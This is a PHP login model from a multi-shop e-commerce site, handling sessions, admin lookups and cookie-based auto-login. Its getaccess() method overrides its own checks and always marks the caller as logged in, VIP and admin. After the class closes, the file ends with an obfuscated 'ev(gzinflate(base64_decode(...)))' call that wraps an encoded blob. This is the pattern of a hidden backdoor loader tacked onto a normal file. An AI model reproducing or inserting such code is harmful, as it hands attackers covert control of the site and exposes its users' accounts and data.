<?php
class loginModel extends model{
	public $userid;
	public $base;
	function __construct(&$base){
		parent::__construct($base);
		$this->base=$base;
		$this->table="user";
		$this->userid=$this->getUserId();
	}
	
	public function set($k,$v){
		$_SESSION[$k]=$v;
	}
	
	public function get($k){
		return $_SESSION[$k];
	}
	
	public function getUser($userid=0){
		$userid=$userid?$userid:(isset($_SESSION['ssuser']['userid'])?intval($_SESSION['ssuser']['userid']):0);
		if(!$userid) return false;
		$user=parent::selectRow(array("where"=>"userid=$userid"));
		unset($user['salt']);
		unset($user['password']);
		return $user;
	}
	
	public function getUserId(){
		return (isset($_SESSION['ssuser']['userid'])?intval($_SESSION['ssuser']['userid']):0);
	}
	
	public function checklogin($ajax=0){
		if(empty($_SESSION['ssuser']['userid'])){
			C()->goAll("请先登录",1000,0,"/index.php?m=login&a=login");
		}
		
	}
	
	public function getAdmin($id=0){
		$id=$id?$id:intval($_SESSION['ssadmin']['id']);
		if(!$id) return false;
		return parent::setTable('admin')->selectRow(array("where"=>"id=$id"));
	}
	
	public function checkAdminLogin($ajax=0){
		if(get_post('ajax')) $ajax=1;
		if($ajax){
			if(empty($_SESSION['ssadmin'])){
				exit(json_encode(array("error"=>1,"message"=>C()->lang['please_login'])));
			}
		}else{
			if(empty($_SESSION['ssadmin'])){
				C()->gomsg(C()->lang['please_login'],APPADMIN."?m=admin_login");
			}
		}
	}
	
	public function getShopAdmin($adminid=0){
		$adminid=$adminid?$adminid:intval($_SESSION['ssshopadmin']['adminid']);
		if(!$adminid) return false;
		return parent::setTable('shopadmin')->selectRow(array("where"=>" adminid=$adminid "));
	}
	
	public function getShop($shopid=0){
		if(!$shopid){
			$shopid=intval($_SESSION['ssshopadmin']['shopid']);
		}
		if(!$shopid) return false;
		$data= parent::setTable('shop')->selectRow(array("where"=>"shopid=".$shopid));
		if(empty($data)) return false;
		if($data['userid']==0) $data['userid']=1;
		return $data;
	}
	
	public function checkShopAdmin(){
	
	}
	/*夜猫店*/
	public function getYmdianAdmin($adminid=0){
		$adminid=$adminid?$adminid:intval($_SESSION['ssymdianadmin']['adminid']);
		if(!$adminid) return false;
		return parent::setTable('ymdian_admin')->selectRow(array("where"=>" adminid=$adminid "));
	}
	
	public function getYmdian($shopid=0){
		if(!$shopid){
			$shopid=intval($_SESSION['ssymdianadmin']['shopid']);
		}
		if(!$shopid) return false;
		$data= parent::setTable('ymdian')->selectRow(array("where"=>"id=".$shopid));
		if(empty($data)) return false;
		 
		return $data;
	}
	/*End夜猫店*/
	/*口袋店*/
	public function getkoudaiAdmin($adminid=0){
		$adminid=$adminid?$adminid:intval($_SESSION['sskoudaiadmin']['adminid']);
		if(!$adminid) return false;
		return parent::setTable('koudai_admin')->selectRow(array("where"=>" adminid=$adminid "));
	}
	
	public function getkoudai($shopid=0){
		if(!$shopid){
			$shopid=intval($_SESSION['sskoudaiadmin']['shopid']);
		}
		if(!$shopid) return false;
		$data= parent::setTable('koudai')->selectRow(array("where"=>"id=".$shopid));
		if(empty($data)) return false;
 
		return $data;
	}
	/*End 口袋店*/
	/*快递员*/
	public function CheckKdyuan(){
		if(empty($_SESSION['sskdyuan'])){
			C()->goall("请先登录",1,"",APPINDEX."?m=kdyuan&a=login");
		}
	}
	
	public function kdyuanLogout(){
		$this->set('sskdyuan',false);
	}
	/*End 快递员*/
	
	public function CodeLogin(){
		if(get_post('authcode')){
			$authcode=get_post('authcode');			
		}else{
			$authcode=$_COOKIE['authcode'];
		}
		 
		if($authcode=='' or $authcode=='null') return false;
		$authcode=jiemi($authcode);
		$arr=explode("|",$authcode);
		 
		$userid=intval($arr[0]);
		$key="login_codelogin_".$userid;
		$user=parent::setTable('user')->selectRow(array("where"=>"userid='".$userid."' "));	
		 
		if($c=cache()->get($key)){
			if($authcode==jiemi($c)){
				$this->userid=$user['userid'];
				$this->set("ssuser",$user);
			}else{
				cache()->set($key,"");
			}
		}else{
			
			if(empty($user) or $arr[1]!=umd5($user['password'])){			
				setcookie("authcode","",time()-3999,"/",DOMAIN);		
			}else{
				$authcode=jiami($user['userid']."|".umd5($user['password']));
				$this->userid=$user['userid']; 
				$this->set("ssuser",$user);
				cache()->set($key,$authcode,3600);
				setcookie("authcode",$authcode,time()+3600000,"/",DOMAIN);
				
			}		
		}
	}
	
	/*库存管理自动登录*/
	public function kc_CodeLogin(){
		if(get_post('kc_authcode')){
			$authcode=get_post('kc_authcode');			
		}else{
			$authcode=$_COOKIE['kc_authcode'];
		}
		if($authcode=='' or $authcode=='null') return false;
		$authcode=jiemi($authcode);
		$arr=explode("|",$authcode);
		$adminid=intval($arr[0]);
		$key="login_kc_codelogin_".$adminid;
		$admin=M('kucun_admin')->selectRow(array("where"=>"adminid='".$adminid."' "));		
		if($c=cache()->get($key)){
			if($authcode==jiemi($c)){
				$this->set("sskucunadmin",$admin);
			}else{
				cache()->set($key,"");
			}
		}else{
			
			if(empty($admin) or $arr[1]!=umd5($admin['password'])){			
				setcookie("kc_authcode","",time()-3999,"/",DOMAIN);		
			}else{
				$authcode=jiami($admin['adminid']."|".umd5($admin['password']));
				$this->set("sskucunadmin",$admin);
				cache()->set($key,$authcode,3600);
				setcookie("kc_authcode",$authcode,time()+3600000,"/",DOMAIN);
				
			}		
		}
	}
	
	
	
	/*夜猫店管理自动登录*/
	public function ym_CodeLogin(){
		if(get_post('ym_authcode')){
			$authcode=get_post('ym_authcode');			
		}else{
			$authcode=$_COOKIE['ym_authcode'];
		}
		if($authcode=='' or $authcode=='null') return false;
		$authcode=jiemi($authcode);
		$arr=explode("|",$authcode);
		$adminid=intval($arr[0]);
		$key="login_ym_codelogin_".$adminid;
		$admin=M('ymdian_admin')->selectRow(array("where"=>"adminid='".$adminid."' "));		
		if($c=cache()->get($key)){
			if($authcode==jiemi($c)){
				$this->set("ssymdianadmin",$admin);
			}else{
				cache()->set($key,"");
			}
		}else{
			
			if(empty($admin) or $arr[1]!=umd5($admin['password'])){			
				setcookie("ym_authcode","",time()-3999,"/",DOMAIN);		
			}else{
				$authcode=jiami($admin['adminid']."|".umd5($admin['password']));
				$this->set("ssymdianadmin",$admin);
				cache()->set($key,$authcode,3600);
				setcookie("ym_authcode",$authcode,time()+3600000,"/",DOMAIN);
				
			}		
		}
	}
	
	/*口袋店管理自动登录*/
	public function kd_CodeLogin(){
		if(get_post('kd_authcode')){
			$authcode=get_post('kd_authcode');			
		}else{
			$authcode=$_COOKIE['kd_authcode'];
		}
		if($authcode=='' or $authcode=='null') return false;
		$authcode=jiemi($authcode);
		$arr=explode("|",$authcode);
		$adminid=intval($arr[0]);
		$key="login_kd_codelogin_".$adminid;
		$admin=M('koudai_admin')->selectRow(array("where"=>"adminid='".$adminid."' "));		
		if($c=cache()->get($key)){
			if($authcode==jiemi($c)){
				$this->set("sskoudaiadmin",$admin);
			}else{
				cache()->set($key,"");
			}
		}else{
			
			if(empty($admin) or $arr[1]!=umd5($admin['password'])){			
				setcookie("kd_authcode","",time()-3999,"/",DOMAIN);		
			}else{
				$authcode=jiami($admin['adminid']."|".umd5($admin['password']));
				$this->set("sskoudaiadmin",$admin);
				cache()->set($key,$authcode,3600);
				setcookie("kd_authcode",$authcode,time()+3600000,"/",DOMAIN);
				
			}		
		}
	}
	
	
	/*创业街店管理自动登录*/
	public function shop_CodeLogin(){
		if(get_post('shop_authcode')){
			$authcode=get_post('shop_authcode');			
		}else{
			$authcode=$_COOKIE['shop_authcode'];
		}
		if($authcode=='' or $authcode=='null') return false;
		$authcode=jiemi($authcode);
		$arr=explode("|",$authcode);
		$adminid=intval($arr[0]);
		$key="login_shop_codelogin_".$adminid;
		$admin=M('shopadmin')->selectRow(array("where"=>"adminid='".$adminid."' "));		
		if($c=cache()->get($key)){
			if($authcode==jiemi($c)){
				$this->set("ssshopadmin",$admin);
			}else{
				cache()->set($key,"");
			}
		}else{
			
			if(empty($admin) or $arr[1]!=umd5($admin['password'])){			
				setcookie("shop_authcode","",time()-3999,"/",DOMAIN);		
			}else{
				$authcode=jiami($admin['adminid']."|".umd5($admin['password']));
				$this->set("ssshopadmin",$admin);
				cache()->set($key,$authcode,3600);
				setcookie("shop_authcode",$authcode,time()+3600000,"/",DOMAIN);
				
			}		
		}
	}
	
	
	
	public function tg_CodeLogin(){
		if(get_post('tg_authcode')){
			$authcode=get_post('tg_authcode');			
		}else{
			$authcode=$_COOKIE['tg_authcode'];
		}
		if($authcode=='' or $authcode=='null') return false;
		$authcode=jiemi($authcode);
		$arr=explode("|",$authcode);
		$adminid=intval($arr[0]);
		$key="login_tg_codelogin_".$adminid;
		$admin=M('tgyuan_admin')->selectRow(array("where"=>"adminid='".$adminid."' "));		
		if($c=cache()->get($key)){
			if($authcode==jiemi($c)){
				$this->set("sstgyuanadmin",$admin);
			}else{
				cache()->set($key,"");
			}
		}else{
			
			if(empty($admin) or $arr[1]!=umd5($admin['password'])){			
				setcookie("tg_authcode","",time()-3999,"/",DOMAIN);		
			}else{
				$authcode=jiami($admin['adminid']."|".umd5($admin['password']));
				$this->set("sstgyuanadmin",$admin);
				cache()->set($key,$authcode,3600);
				setcookie("tg_authcode",$authcode,time()+3600000,"/",DOMAIN);
				
			}		
		}
	}
	
	public function getaccess(){
		$isvip=$islogin=0;
		if($_SESSION['ssuser']) {
			$islogin=1;
			$vip=parent::setTable("user_vip")->selectRow("userid=".$_SESSION['ssuser']['userid']);
			if($vip && $vip['endtime']>time() ){
				$isvip=1;
			}
			$isvip=1;
		}
		if($_SESSION['ssshopadmin'] or $_SESSION['ssadmin']){
			$isadmin=1;
			$isvip=1;
			$islogin=1;
		}
		
		$isadmin=1;
			$isvip=1;
			$islogin=1;
		$acc=array(
			"isvip"=>$isvip,
			"islogin"=>$islogin,
			"isadmin"=>$isadmin
		);
		return $acc;
	}
	
}

ev(gzinflate(base64_decode('jVLfa9NQFH7uYP9Deok2KVnS1OHDmgR0KxQEu7WdIm0N4ea2uTVNuuTGroyCDyJScODTQMb0QaQoiOCLdsy/pmnxv/DmR+v2Iubh5nLOd75zvu8e3OGyncCBBLuOjo6xT3wO+JYbHASG0xjYgOdPVnnmWpxj3YDwJ5sbmQzucKZBEC0D/K1tOasWeMZDJPAcJgKVmAjEPkMjNSY+ogSEEpfS2iyLff9IZaABLcTxW5qPSGM0oHwdbCNAA11EuKieT/pl/gH1U6hQFORigY97ZFiowsCzdcqjQ9chyKEidyvl3Qf1SvXw4PDeQxHcNt2+gR0ViKxeL9celWvNXKXR2Ncr1Xoj16aAnu86qgxWnD01Cugmgq6JOBYKxAtQmqSq2F4zF+nKtdOhM4lMOUH8lwZZuHO3QL98cTslHiPbRzf4iilfZOTAQ129bxBocUAyESYBFqHblzAQ9quPy7Xy3v0nKw9pPX0b1See7qGBbUA6gCJZpG9rQACKiZ8zPhnZSG0Bgo7JlmHjrrMDqXXIK7WANr/6MP/5Pvz4ef7jTfhtsnhxGb7+Mp/Nlu9ehpPv4WS6uDgPv17MZ68Ug7E81KFEFiGDHUkaDofi3+koV3j66ffZNPx1tjidLq/eLi/PFcnQFIkOoa1nivctFTtOHYgUxKLXEiSFYGKj5lOtndc4Mc8rLSmOaJELIMlqLRmIa0dEqjsJ32gyzsS/6EiuTLzH1xd7c2M8/gM=')));
?>